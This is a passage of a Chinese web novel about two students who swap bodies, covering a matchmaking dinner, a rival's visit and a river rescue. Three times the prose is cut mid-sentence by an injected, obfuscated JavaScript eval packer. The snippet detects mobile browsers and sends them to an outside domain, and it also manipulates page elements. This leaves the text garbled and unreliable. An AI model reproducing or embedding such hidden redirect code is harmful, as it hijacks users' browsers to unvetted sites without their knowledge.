想到华可吟，他脑海里浮现那天对方随口说出的分手，莫名有点烦躁，面上却还是一副波澜不惊的样子，回复道：“那是场误会。” 谭斯听到儿子的话，又观察柏随远的表情，什么也看不出来...... 看来是另有隐情，谭斯相信方老师也不会用这种极易就能拆穿的谎言来骗她。不过既然儿子这样回答，谭斯也没再犹豫就相信他的话。柏随远从小就是个优秀正直的小孩，这种事，他不至于对父母撒谎。 知道柏随远所谓的女朋友是误会后，谭斯想想又说一句：“雅清是个好孩子，你多交个朋友也不错。后天你爸回家，雅清和她爸妈还要来家里玩一趟，你们俩聊聊学校的事也好。” 别的小男孩从小就会呼朋引伴到处玩，只有柏随远天天自己上学自己在家，谭斯觉得儿子缺少点朋友和活力。 后天？后天正是每月一次身体互换的时候，到时候坐在家里的人会是华可吟。 柏随远有点急，脱口而出拒绝：“妈，我有喜欢的人。” 谭斯一听这话，立刻反问：“真的吗？”她有点不信，儿子刚才还面无表情的样子。 “嗯，就是那个。” 谭斯在心里笑道，还是年轻的小伙子啊...接着又安慰他说：“妈妈都答应好了，那你后天就当是认识普通朋友吧。”说罢，拍拍柏随远的肩膀就出去了，打算和老柏说说何家的事。 柏随远见拒绝不了，等谭斯一走出门就拿起手机，却不知道该说点什么好。 他自己都有点不敢置信刚刚说出什么，为什么随口提到的人就是华可吟呢？是因为自己生活中能接触到的异性太少吗？ 又有又想到华可吟上次突然提起的分手了。柏随远开始后悔刚才为了不被安排和女孩见面对母亲撒谎，他们俩应该和以前一样，减少在对方生活中的改变，然后再寻找解脱互换的方法。 不过，自己像华可吟一样，过段时间再和家里说分手又有何不可呢？柏随远稍微放松些，决定不把这件事告诉华可吟。 —road：后天有人做客，我父亲也会回家。 —sing：那我得在你家里一直待着吗？ —road：嗯。 —sing：行【OK】 回家洗完澡的华可吟正敷着面膜，她觉得柏随远的性格太好装，只要面无表情，少说话就行，对她来说毫无难度。 看到华可吟答应得这么痛快，柏随远鬼使神差地又打一行字。 「我妈朋友一家，我不熟悉。」 在点击发送的前一秒他仿佛才回神，反应过来自己居然在尝试解释什么，立马逐字删除输入框里的内容，把手机放在桌边，不去想这件事。 19. 第三次互换 14号晚上，熟悉的晕眩感再度袭来，可这次的疼痛却远超两人的想象。华可吟原本坐在椅子上，却因这钻心的疼痛摔倒在地。没过几秒，门外传来一个女人的关心的询问：“随远，怎么了？” “我没事。”华可吟连忙回应，外面的应该就是柏随远的妈妈。她用力按压几下太阳穴，疼痛才稍稍缓解，又适应了几分钟才地上爬起来。 刚才摔到时眼镜也掉落在地，华可吟走过去捡起发现居然是副新款式。柏随远之前每天戴的是普通黑框眼镜，现在却换成了无框的。 她好奇地走到镜子前，这种样式的眼镜在同龄人中可不常见。板着脸学柏随远平时惯常的面无表情，镜子里的男生眉目如剑，原本被黑框眼镜掩盖的锐气，在无边眼镜的衬托下展露无遗，还增添了几分成熟的气质。 身上是学校格子睡衣的同款，只是颜色不同。她卷起裤腿，检查刚摔痛的地方。柏随远的小腿修长笔直，不像有些男生那样毛发旺盛。华可吟左右端详后，暗自庆幸没给人家留下淤青。 环顾四周，柏随远的房间和他本人一样，冷峻而疏离。冷色调的顶灯，深棕地板，浅灰色家具，设计感十足却缺少了些生活气息。宽敞的房间显得空荡，除了书桌上整齐的几本书和笔，其他家具都一尘不染，连床单都没有一点折痕，仿佛从未被使用过。 与此同时，在华可吟的房间醒来的柏随远也因为疼痛缓了一会，才开始查看自己所在的房间。 柏随远没想到，华可吟的房间居然会有点幼稚，和她平时成熟的做事风格截然不同。淡粉色墙壁和白色雕花的欧式风格家具，床头还摆放着几个可爱的毛绒玩具。 正面的书桌和旁边的化妆台上分别摆放着几个大收纳架，里面满满当当地放着许多东西，柏随远几乎都认不出来是干什么的。书桌上放着一筒各种颜色的笔，柏随远认真观察，写字真的需要这么多颜色吗？ 转头在镜子里看到华可吟披散着头发，穿着嫩黄色睡衣的样子，比平时更要可爱几分。柏随远摇摇头，甩掉这些莫名的情绪，从架子上拿下华可吟的电脑，指纹解锁后开始寻找自己的文件。 白天他已经征得华可吟的同意，发来了几个文档和网址存在桌面的文件夹里，这样等互换他就能直接继续工作。确认文件都保存好后，柏随远打开微信和华可吟联系，两人登回自己的微信账号时，敲门声响起。 “可吟，你用这个吧。”孟苏拿着两包安睡裤走进来。 华可吟平时在家很喜欢和妈妈一起坐在客厅聊天。这次互换，她从昨天就开始在妈妈面前预告自己生理期提前，肚子痛，以免晚上柏随远表现得太反常露馅。 柏随远起身开门，一只猫先蹭着门缝挤了进来，毛茸茸的身体飞快地朝房间里跑去。柏随远来不及管小猫，先接过孟苏手中的蓝色包装，怎么突然给他两大包内裤？ “先用这个吧，要是实在痛，妈妈带你去看看中医。”孟苏看着女儿呆呆的表情，奇怪地问道，“怎么，你不是说时间不对吗？年轻人还讳疾忌医啊。” 柏随远这才看清包装上“不侧漏”的小字，明白这是什么之后，脸微微泛红，“...谢谢。” “早点睡啊，生理期就别熬夜了。记得多喝热水，别整天喝冰的。”孟苏拍拍女儿的肩膀，准备回房，走到门口又说，“今天小丁继续跟你睡吧。”说完又想，女儿刚才说话怎么这么客气，是不是又像上次一样工作上有事瞒着家长。 柏随远把两包安睡裤放到桌边，和椅子上爬坐着揣前爪的金色小猫大眼瞪小眼。 这只猫居然叫小丁，像个人名…… 小丁跳下椅子围着柏随远的腿蹭来蹭去，绒毛蹭到柏随远的脚上，一股温热触感从小腿传来，这种感觉很是新奇。 “喵。”小丁继续转圈，心里纳闷主人今天怎么还不把它抱起来撸一撸。 “喵喵喵。”连续几声猫叫传来，柏随远才反应过来，它是不是想和自己玩？他蹲下身，房间里的灯光不太亮，小猫的瞳孔又大又圆。这只猫有点像它的主人，柏随远莫名地想起歪头看人时的华可吟，她是不是叫大丁？ 小丁发现主人的手停在半空发呆，气愤地用爪子勾住散落下来的长发，“喵喵喵！” 叫声拉回了柏随远的思绪，他终于把手放在小猫的后背，生疏地抚摸起来。 小丁舒服地翻倒在木地板上，露出了肚皮。可没等那双白皙修长的手摸几下，小丁突然觉得不对劲，这真的是它的主人吗？ 柏随远起初不敢用力，只是轻轻用指尖梳着猫毛。没一会儿，小丁就自己把肚皮送到他面前。这猫真的很像华可吟，一样热情，让人感觉毛茸茸的。 温热的肚皮在手下，还能感觉到小猫呼吸的起伏，柏随远从来没有和这种小动物如此亲近过，这下好像明白了为什么大家都喜欢养小宠物。可还没等他好好感受手下的触感，那只小猫却突然像受到了惊吓，躯体一震，转过身，两只后腿蹬跳上了床尾，接着又极为矫健地跳上房门把手，自己开门冲了出去。 柏随远怔住了，华可吟也没说她家小猫会飞啊。 他不用再去洗漱，看了眼时间已经十一点多。躺在华可吟柔软的床上，他又闻到了上次那种甜甜的馨香，在床上翻来覆去睡不着。拿起手机，除了自己的微信，其他软件都不好意思翻看。 柏随远认命般地坐起身，好奇心，或者说是此刻的无聊，促使他下床走到侧面柜子上摆着的一排相框前。 六张照片分别是华可吟从幼儿园到大学不同时间段的留影，每张照片上的她都自信满满地看着镜头，摆出不同的姿势。 右下角那张一年级的照片，一看就是文艺汇演时拍的，涂着红脸蛋的华可吟被几个同样装扮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357415|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小女孩簇拥在C位。小女孩的五官比例和现在的华可吟相差无几，小小的脸上，一双大眼睛扑闪扑闪。只要见过华可吟的人，都能认出小时候的她。 在上阳高中大门前拍的则是一张一家三口的合照。华可吟挽着父母的手，三人对着镜头，都笑得十分幸福。 柏随远的手随着照片时间轻轻划过上面华可吟的脸，仿佛窥到了一位少女的成长轨迹，他的内心竟涌起一股暖流，一种奇异的满足感快要从胸膛中涌出。 结合这几天的不对劲，他突然意识到，自己可能真的对华可吟产生了特别的想法。 * 晚上十二点，华可吟终于完成“好物分享”的视频校对。因为刚才在电脑前太过专注，她起身伸懒腰时才惊觉自己现在在柏随远家。 突然有点想上厕所…… 华可吟拍了拍脸，开门走向离这个房间最近的、柏随远常用的卫生间。虽然还是有点害羞，但这一次已经能较为坦荡地解决需求。 没带手机进来，实在太无聊，华可吟拿起手边的洗面奶说明书，一个字一个字地读。这个牌子还找她打过广告呢。 回到床上时，她已经困得不行。柏随远的床比她的稍微硬一点，被子也不如她的柔软，但华可吟顾不了那么多，倒头就睡。 次日七点半华可吟就被生物钟叫醒了，她睁开眼拿起手机看时间，决定马上起床，因为今天柏随远家会有客人来。 刚想弯腿坐起身，却感觉身体有种奇怪的异样。华可吟低头一看，脸瞬间红得通透。她知道男生会有一些特殊，可她从来没把这种事和柏随远联系起来，对方看起来太冷淡太禁欲了。 华可吟屏住呼吸，身体像僵尸一样平躺在床上一动也不敢动。希望一切都能静止下来，等待身体自然平复。 可异样的反应并不像她设想的那么容易缓解，甚至因为她紧张之下躺得太过笔直而轻轻摇晃起来，华可吟能真切地感受到两层布料与自己皮肤间的摩擦。 她呼吸急促，把被子蒙在脸上，无声地尖叫，怎么会这么尴尬啊... 努力无视又等了十分钟，情况仍旧没有好转，华可吟生无可恋地掏出手机，把问题一字字输进浏览器的搜索栏。网页加载了几秒后给出答案：“上个厕所就好了。” ？ 华可吟觉得就算打死自己，也想不出这种解决办法。 她慢慢起身，穿好拖鞋，弓着身体像做贼一样先观察了一下外面的情况。 很好，没人。 一鼓作气冲进卫生间，迅速反锁上门。 这次不能再坐着闭眼不管不顾了。她深呼吸尽量让自己平心静气，努力放空思绪，想象自己是个盲人，嘴里碎碎念地默背着文言文课文，酝酿几秒，才开始动作。 完事后，她机械地冲水，狠洗了三次手，才像游魂一样飘回房间。 20. 劲敌 柏随远也在早上遇到不小的挑战。他八点多醒来，正准备换衣服去洗漱时，突然察觉到自己此刻上半身只穿了睡衣。他忙打开手机想询问华可吟，却发现对方早在二十分钟前便发来消息。 —sing：衣服在床头，外套穿我挂在最右边的浅棕色大衣，鞋穿同色系靴子。 仿佛是在自己房间安了摄像头，华可吟早就猜到柏随远不会搭配衣服，将一整套穿搭细节仔仔细细地发了过去。 拿起床头柜上那一摞衣服，一件粉色的内衣从中间滑落。柏随远揉了揉眉，心里暗自告诉自己，一切都要适应。他脱掉衣服套上内衣，内衣后面的两排挂钩却让他犯了难。他将手费力地背到身后，摸索了好几次，却始终未能成功扣好。 怀着忐忑的心情，他最终不得不又向搜索引擎求助。原以为这么奇怪的问题会没有答案，没想到搜相关的内容还不少。柏随远迅速选择网页上说的先在前面穿好再转过去的办法。 柏随远紧张地屏住呼吸，怕把内衣往后转的过程中不小心划到什么。上次直播时礼服边缘的亮片蹭到华可吟的腋下，红肿好久，这副身体比他的更娇气。 脸颊滚烫，可能是心境发生变化，把两个肩带捞上来后他依旧觉得空气灼热稀薄。他觉得有点太过冒犯，穿好衣服后连给华可吟回消息的勇气都没有，几乎是落荒而逃地把手机放到书桌上，自己走出去吃早饭。 华可吟平日里和母亲相处融洽，孟苏对女儿的生活细节也颇为关注。她今天要去华可吟外婆家一趟，眼看没几天就要过年，就没打算带在家忙着剪视频的女儿一起去。 今天早上的华可吟安静过头，喝牛奶的样子甚至有一点反常的淑□□雅。孟苏欲言又止的目光在女儿身上扫了又扫，最后时间不够才拿起包出门，嘱咐一句：“太难受要和妈妈说啊。” “嗯。”柏随远应了一声，学着华可吟平日里的模样，嘴角微微上扬，朝客厅露出一抹浅笑。孟苏见状，眼中的疑惑这才稍稍消散。 门锁咔哒一声，原本黏在妈妈身边的小猫又轻快地跑回来，跳上和柏随远相隔两个椅子的座位，静静地观察在吃饭的女孩。 柏随远盯着小猫的表情，起身后慢慢靠近，见小丁没有很排斥的样子，一把搂住金色小猫抱起往房间走。陪他一起看论文吧。 中午随便吃点外卖，柏随远吃完把家里的垃圾收拾下楼扔。他不确定华可吟妈妈允不允许她在家吃外卖，但因为早上的事，他到现在都没好意思打开手机联系华可吟。 “叮铃。” 正用非常生疏的逗猫手法和小丁玩耍的柏随远听到一阵门铃声。他起身把猫放到沙发上，去门口看看是谁，华可吟没说今天会有客人来她家。 一个身高超过190的男生出现在他眼前。男生穿着黑色的皮质短款羽绒服，显得身材比例很好，他提礼盒的手正攥着丝带，看起来有点紧张。柏随远敏锐地发现这人还专门喷发胶，他小时候参加比赛也喷过。 “可吟，我亲戚家寄太多车厘子，正好路过你家，给你送点吧。”男生一口白牙，笑得很是阳光，“叔叔阿姨都不在吗？” 这谁？怎么还这么熟络地上门来？ 柏随远敢确定，华可吟和他的聊天中从来没有提到过一位这样的同龄男生。可是男生的表现太自然，柏随远虽然很不情愿，但还是把男生放进客厅。 “可吟，我就是路过。”男生嘴上客气，身体却很诚实地换鞋，在沙发上坐下。 小丁从卧室里跑出来，居然很不认生地直接跳上沙发坐到那男生旁边，柏随远连叫几声名字才又回到它手边。 “前几天我...”男生看着正温柔摸猫的女生，脸上泛起一抹红晕。 “不好意思，我去给你倒杯水。”柏随远面沉如水，冷冷地丢下一句话，便径直迈向厨房。 —road：有个男生来给你送车厘子。 今天是周中，柏随远家的客人要下班后才会来作客，华可吟正坐在家里剪视频，趁现在家里没人，她得赶紧发布剪辑好的新视频。看到柏随远的消息，华可吟心里也很疑惑。 —sing：长什么样？我不知道有人要来啊【问好猫头】 —sing：是小孩吗，可能是我叔叔家的表弟。 —road：不是小孩，他说要和你讲前几天的事情。 前几天？同学聚会那天有不少男生到场，难不成是提礼物上门道歉的？华可吟回忆着每个男生的模样，打字回复。 —sing：长什么样？ 柏随远虽然很不想承认，但还是如是发消息。 —road：不矮不丑。 —sing：哦，那是林逸阳，他前天帮我解决麻烦。 —sing：他没有提前说要来啊，帮我谢谢他一下。【搓手祈求】 得知对方的身份，柏随远把手机揣回兜里，随手用凉水壶倒杯水，端回客厅。 林逸阳双手规规矩矩地放在膝盖上，坐得笔直，像个正接受检查的小学生。他紧张地抬头看向餐厅方向，在看到柏随远走出的那一刻露出一个灿烂的笑容。 柏随远觉得这个笑容有点碍眼，放下玻璃杯后没说话，只是把杯子往那边推推。 林逸阳此刻内心就像是有一群骏马在狂奔，今天他鼓起勇气，根据询问来的高中信息表上的地址找到华可吟家，想把藏在心里两年来的少年心事一股脑说出来。 “可吟，我真的喜...” 柏随远觉得自从意识到自己对华可吟的感情后，对于这类曾经毫无兴趣的事，他的敏感度直线上升。他明显感觉到面前男生接下来要说的话可能不是他想听到的内容，连忙接道：“前几天的事谢谢你。” “喜欢”两个字没说出口，他的话又被堵回来，林逸阳即便再不想承认，也认识到华可吟这是又一次变相拒绝自己。 怎么办？是该徐徐图之，还是直接告白，一次说清楚？ 林逸阳思来想去，选择前者，高中时期他的队友向华可吟当众表达过好感，华可吟当众拒绝后和学校男生交流更少。他觉得现在最好的办法也许就是不戳破平衡的同学情谊，多找机会和她相处，说不定时间一长，就能逐渐让华可吟发现自己的好，给他一个堂堂正正表白的机会。反正，可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360701|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吟同学现在恢复单身了。 想到这，林逸阳迅速说服自己，不再纠结被打断的告白，“有道德的人遇到那种场合都不会束手旁观的，你不用一直和我道谢。” “嗯。” “可吟，过几天去篮球场玩吗？有好几个高中同学都在，放心，不是前几天那几个。” 柏随远没办法替华可吟安排她的社交，只得又借口说要去洗点水果，进厨房偷偷用手机问华可吟本人的意思。 看向女生又离开的背影，林逸阳本来觉得今天的可吟讲话有点冷淡，但对方又是给他倒水，又去给他洗水果，两个人第一次有这种在白天静谧独处的机会。 趁华可吟还没回来，他迅速拿出小镜子确保自己的发型没乱，又挺直腰板，让自己坐得更端正些。 隔断处的酒柜是仿水晶材质，从外朝厨房看是磨砂纹理，从厨房朝外看却十分清楚。柏随远站在厨房里，将这一切净收眼底。他洗着草莓，看到沙发上男生的小动作皱了皱眉，拿起手机看到华可吟回复的消息，心里又瞬间烦躁起来。 —sing：可以啊。 他压住莫名的负面情绪，继续打字问。 —road：那几个人怎么了？ —sing：没什么，就是聚会上醉酒乱说话。 没心情继续洗，柏随远把袋子里剩下的草莓随意搅乱也放到盘子里，一起端上茶几示意林逸阳吃。 又上下打量一遍男生的穿着打扮，柏随远不自觉开始打探：“也不知道高中班里那个最搞笑的男生怎么样。” “哈哈哈哈哈，你说老王吧。不知道，前几天的同学聚会他也没来。”林逸阳像是被打开话匣子，继续说：“没想到你还记得老王，高中时候你和我们的交流不多。” 接着，林逸阳又脸红地问：“那你还记得高二的篮球赛吗？老王的裤子就是在那天掉的，我...那场我也在场上。” 柏随远哪里知道华可吟还记不记得这件事，可是每个小问题都拿起手机去问也太奇怪。他点点头，但懒得费劲装出一副也被逗笑的表情，直接略过对方提及自己的话。 柏随远敷衍地应付着面前这个热情满满、找无数话题的男生，心里居然冒出一个一点也不光明的想法。如果华可吟没有这么早说分手，依旧对外界维持着“假情侣”的身份，那今天面对林逸阳，他是不是就可以直接说出一句“我已经有男朋友”？ 从男生的描述中他听出来，高中时华可吟和他只是同班，连接触都没有过几次。可是前几天他在同学聚会上帮华可吟解决麻烦，华可吟到现在提起来都还很感激。 柏随远又又又从头到脚打量一遍男生，华可吟喜欢的会是这个类型吗？这么想着，他紧盯面前男生的视线逐渐失焦。 “可吟，你，你叫我逸阳吧...” “呵。” 林逸阳被这声莫名冒出的冷笑激出一身汗，更加紧张了。紧张的同时又有点雀跃，想到华可吟今天三番两次对自己发型穿搭的“欣赏”，还有今天华可吟身上那种从没见过的寡言少语的高冷感，难道这才是和人单独相处时真实的华可吟吗？ 21. 相亲 华可吟揉揉发酸的脖颈，合上柏随远的笔记本电脑后看看时间，已经到下午五点半。 “随远，吃点当季的水果，补充维生素。”保姆阿姨洗了一些水果，轻轻给她端进来。 柏家的保姆除隔天上岗做家务，也会在请客时来掌勺家常菜。她接柏家的工作十几年，在一些生活小事上，比柏随远的父母对他都更了解，“放心，阿姨挑的肯定不酸。” “谢谢阿姨。”华可吟嘴角上扬，接过果盘后拿起一颗草莓，色泽鲜嫩欲滴的草莓吃进嘴巴里很甜，华可吟不禁想起中午柏随远提到的车厘子。 “你前两天见到何教授女儿？怎么样啊？”阿姨自柏随远幼时就照顾他，也好奇他会交个什么样的女朋友。 何教授女儿？华可吟瞳孔微缩，瞬间领会到阿姨语气里的八卦意味，猜测今天的饭局另有乾坤。 没等华可吟想好怎么回复，阿姨已经自动把这沉默理解成年轻人的害羞，笑着打趣声“行，阿姨不逗你。”便转身继续去做晚饭。 房门关上后，华可吟拿起手机想要立刻联系柏随远，可是看到两人对话简短的聊天框和项目小组时对方堪称避嫌的表现，决定还是自己随机应变吧。 没过多久，玄关处传来开门声，柏天青和谭斯一前一后进门，身后跟着何雅清一家人。 谭斯一进家就到柏随远的房间门外，轻声提醒他出来问好。华可吟起身仔细整理一下自己的打扮，开门后面带微笑跟上柏母。 “叔叔好，阿姨好。” 何教授眼前一亮：“小柏啊，经常听你妈妈提起你。”打量完面前气质出众的年轻人，在家抱怨妻子瞎搞的何父也转变态度，“上次见你还是初中呢，一下子长这么高”。 站在一旁的何雅清第一时间捕捉到父亲语气的变化，嘴角扯出一个讽刺的弧度。在家时大义凛然又如何？站在道德制高点指责妈妈，可到这还不是也笑得像朵花。 何雅清在眼镜后默默翻个白眼，一转头却和华可吟的目光撞个正着。 华可吟眼中带着暖暖的笑意和她问声好，何雅清觉得这人和上次见面时似乎有点差别，不会是双方家长给他通知什么吧？何雅清决定等会儿找时间和对方说清楚，自己并无那方面的打算。 饭桌上，水晶灯暖黄的光打在瓷盘上，家常的菜色被保姆阿姨做得很可口。华可吟坐在下首，安静地夹面前的几个菜吃饭，还回答了几个何父问的有关学校和专业的问题。 学校的状况华可吟如指掌，应答自如。至于计算机的课程问题，她仔细回想柏随远曾经发过的课表，以及前几周补习空余、两人自习时她瞄到过的屏幕随便应付几句。等到陆续回答完所有的问题，华可吟才意识到，不知不觉间自己对于柏随远的日常居然如此熟悉。 “我就说，计算机专业肯定比雅清这种法语有前景。”何父满意地点头，点评起各个专业，越说越兴奋起来：“不过女孩子嘛，还是学个简单的专业就行，学个计算机，到时候怕是连回家的时间都没有。” 谭斯的筷子在空中顿顿，但碍于情面也不好意思在饭桌上说什么。 华可吟听了则是没忍住反驳道：“我们专业女生还挺多的，成绩也都不错。” 她语气缓和，面色平静，加上从小都是不爱说话的性格，何父虽然觉得有点落面子，但没觉得她是故意的。何母赶紧打圆场：“哎呀，现在年轻人都有自己的想法，都嫌我们大人咯。” 此后的饭桌上，谭斯和何雅清都不时偷瞄华可吟。一个是觉得自己的儿子今天的态度有点奇怪，居然在饭桌上说这么多话，另一个则是觉得这人和前几天相比差别太大，上次明明都没正眼看过自己。 饭后，何母依旧是非常热情地撺掇两个人多相处，反倒是谭斯推辞几句。华可吟虽然知道这饭局的目的，可她也没遇到过这种形似相亲的场面，一时不知道该如何应对，只能沉默不语。 最后，两个年轻人还是被请到柏随远房间聊天。何雅清本想拒绝，但又觉得找个清静的地方，把事情说明白也好。 “你不用听我妈的。”华可吟进门后特意把房门卡在门吸上防止关门，就听到背后女孩的声音。 没等她回答，何雅清坐在侧面的小沙发上开门见山地说道：“她一心想撮合我们，但我现在没有谈恋爱的打算，我想你也一样吧。我回家以后会和他们说清楚的，不过可能需要点时间。” “好。”华可吟看出来，对方对这种相亲安排是真的反感。她也纳闷，饭桌上听得出来何雅清是个非常优秀的女孩，父母又何必这么着急介绍男孩催她谈恋爱呢。 何雅清说完这番话长长舒口气，扶了扶鼻梁上的眼镜。她心里清楚，柏随远这里并不难解决，关键是怎么回家说服她妈，现在还得加上她爸。 见对面女生不再言语，华可吟想到此刻尴尬的身份，也没再搭话，两人分别坐在自己的位置上玩了十几分钟手机。何雅清看眼时间，觉得现在刚刚好，再待久点，她爸妈说不定会误会她有那个意思，那就更麻烦了。 她起身准备回客厅，下意识朝刚刚坐过的地方瞥一眼，却发现沙发垫上有一点明显的污渍，脸迅速红了。 华可吟顺着她的眼神看过去，立马就知道这是什么情况——生理期。作为一个女生，华可吟当然很理解这种突然到访的生理期有多棘手，也明白现在满脸通红的何雅清心里得有多尴尬。 她低头看去，何雅清穿的是黑色裤子，不太明显，她也就不用专门翻出柏随远家的裤子给人家换了，毕竟这举动对于正在尽力撇清关系的两人显得有点不合适。 华可吟仔细回想，好像昨天晚上上厕所无聊读边柜上的洗发剂时，看到过柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369212|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里的卫生巾。她拿定主意，起身往外走去。 “别...”何雅清抬手想叫住她，声音却不敢太大：“我把钱赔给你吧，等会儿我自己带出去扔掉，不要告诉大人行吗？” 华可吟这才意识到，对方误会自己是要出门告密，心想柏随远这是给人家留下了什么印象啊，赶忙回头解释：“我去帮你拿卫生巾。” 何雅清虽说不觉得男生知道卫生巾有什么稀奇，但她还是没想到，上次语气冷冷的柏随远居然会主动去帮自己拿妈妈的卫生用品。她手忙脚乱地把沙发垫叠起来，仔细检查一下底下的沙发本体，还好没有渗到下面。 “给，夜用的。”华可吟在厕所果然找到几包不同型号的卫生巾，思索片刻，拿了两片超长款的回来。 “谢谢。”何雅清低头，局促得不知道说什么好，“我先去卫生间，这个沙发垫我收拾好了，钱我等下加微信转给你。” 华可吟点点头，等女孩溜去卫生间又突然意识到，手机上现在登录的是自己的微信账号。 这种女孩子的尴尬事，她也没必要特意告诉柏随远。于是，等何雅清一回来，她就立刻开口说：“不用赔偿，晚上我偷偷换一套沙发垫就行。” 说着，华可吟把一个硬纸袋子递过去：“那块沙发垫在里面，还有本书，你等会儿就说是问我借的书就好，这个也不用还。” 何雅清接过袋子，感激地道几声谢，她真的没想到柏随远会是个这么温柔体贴的男生。 华可吟又安慰几句，把何雅清送到客厅之后，思考怎么把沙发上的两片沙发垫摆出三片的效果。刚才说的晚上偷偷换当然是假的，她怎么可能会知道柏随远家的换洗沙发垫在哪儿呢？ 等到晚上回家路上，何母看着坐在车上对袋子发呆的何雅清，语气得意地说：“妈说过吧，谭老师家的儿子特别优秀。你们两今天聊得怎么样？妈妈看你还提了个袋子回来啊。” 何父也边开车边附和：“这么优秀的男孩现在不多啊，你可得抓住。”说着还用后视镜打量何雅清，女儿的性格在他看来太倔，女人还是温柔点好，都怪妻子教得不好。 何雅清望向窗外飞逝的景色，她承认，今天柏随远的行为让她很有好感，但这不代表她就认可父母“撮合”的行为。她语气冷硬道：“你们谁喜欢，谁就自己嫁给他呗。” “你这孩子！”何母发出大声斥责，又偷瞄几眼丈夫。 “不像话。”何父也被女儿这番没头没脑的语气气到了，声音大得像头牛，随即又想到自己正在开车，只能努力压着火气。 一句话点燃车内火药桶的何雅清像是什么都没看到一样，拿出手机背起单词，还专门背出声给爸妈听。 过一会儿父母都转过头不管她了，她偷偷点开母亲聊天记录，找到以前给自己发过的柏随远的微信名片。 22. 救人 柏随远也刚刚吃完饭，华可吟妈妈做的鸡肉非常香，他多吃几口孟苏就点头表示：“多吃点肉，你这太瘦了。”他听完沉默，回想一下和华可吟一起吃的几顿饭，对方应该没有什么专门注意饮食的习惯。 这顿饭吃得很饱，孟苏又拉着他和华荣一起去小区的花园散步。这个点非常热闹，花园里还有条不宽的人工河，有很多正在带孩子玩耍的家庭。 华荣也在和妻子孟苏说办公室同事的八卦，还时不时让在场第三人点评，柏随远聊天时嘴角带着他自己都未察觉的笑。他很少感受到这种一家三口散步的温馨气氛，他家里父母工作有点忙，能一起吃饭的机会都不多。 突然手机嗡嗡响了两声，点开是微信新收到一个好友申请，昵称是“清”的人发来一条“今天谢谢你。” 柏随远猜到应该是何雅清，正想问问华可吟饭局上发生什么，就听到耳边突然传来几声尖叫。 “宝宝！谁能救救我的宝宝！” “哎呀，怎么这么不小心。” “谁会游泳啊，这条河也不深” “不深你快下去救啊。” 柏随远看向声音最大的方向，发现小河里一个穿着粉色外套的小女孩正在挣扎的身影，他把手机随手递给华母就迅速跑去纵身一跃。 上阳市的水流虽然不会冷到结冰，但冬天冰凉的河水漫过柏随远的脖颈，他还是感觉到肌肉的收缩与颤抖。这才想起自己正在华可吟的身体里，却来不及多犹豫，他立马游至落水小女孩的身边，绕到背后急切地说：“别动，抓紧我的脖子。” 小女孩的短发被水流冲得缠绕在苍白的脸上，明显已经呛了不少水受到刺激，见身边游来的大人没有一点反应，只是一味双手扑腾。 华可吟平时也会运动健身，身体素质不差，因此她的手臂能够稳稳地托住正在下沉的孩子。可小孩体重也不轻，危急关头求生的欲望更是让她的身体爆发出巨大的能量，柏随远现在有点顶不住小孩的挣脱，自己也在河中央呛几口水。 好在华荣看到女儿“唰”一下冲下水，也立马把手机一甩跟了上去，两个人才从后面成功控制住小女孩，将她推上岸。 小女孩的妈妈飞快扑向躺在地上咳嗽的小女孩，确认孩子无恙后才想起来感谢两人，激动得已经满脸是泪。刚刚围在一边的邻居们也都靠近看孩子的情况，还有几个认识华可吟一家的夸奖起来。 “华荣，你们父女俩是这个。”中年男人竖起大拇指。 柏随远也才从危急中平复，刚想去检查小女孩的身体，视线突然模糊起来，刚刚在水中就隐隐作痛的脑袋越来越沉，周围人的声音变得飘忽。 晕眩前的最后一秒，他集中注意让自己倒在华可吟爸爸的怀里，防止摔倒磕伤脑袋。 华荣突然感觉女儿朝自己倒来，他迅速反应扶住华可吟摇晃的身形，再低头一看，华可吟已经闭眼晕厥。 孟苏发现不对劲也立刻拨开看热闹的人群挤进来，发现华可吟的异状后立马拨打120。 * 等到柏随远再醒来已经是第二天早上七点，刺激的消毒水气味钻进鼻腔，嗓子有隐隐的干痛，柏随远朦胧中想应该是救人时自己也呛了点水。 “可吟，可吟醒了！” 睁眼，是四处白茫茫的医院，满脸倦容的华母守在床前，旁边还有上次见过的程雨濛。 “哎呀，你这臭孩子，还好医生说你没事。”孟苏见华可吟醒了，立马上前摸摸柏随远的额头，继而从床头柜上拿保温瓶倒了杯温水递给女儿，又接着问道：“好像已经退烧，你感觉怎么样啊，头疼不疼？” “不痛，没事。”柏随远摇摇头，接过水灌几口才觉得嗓子舒服点。 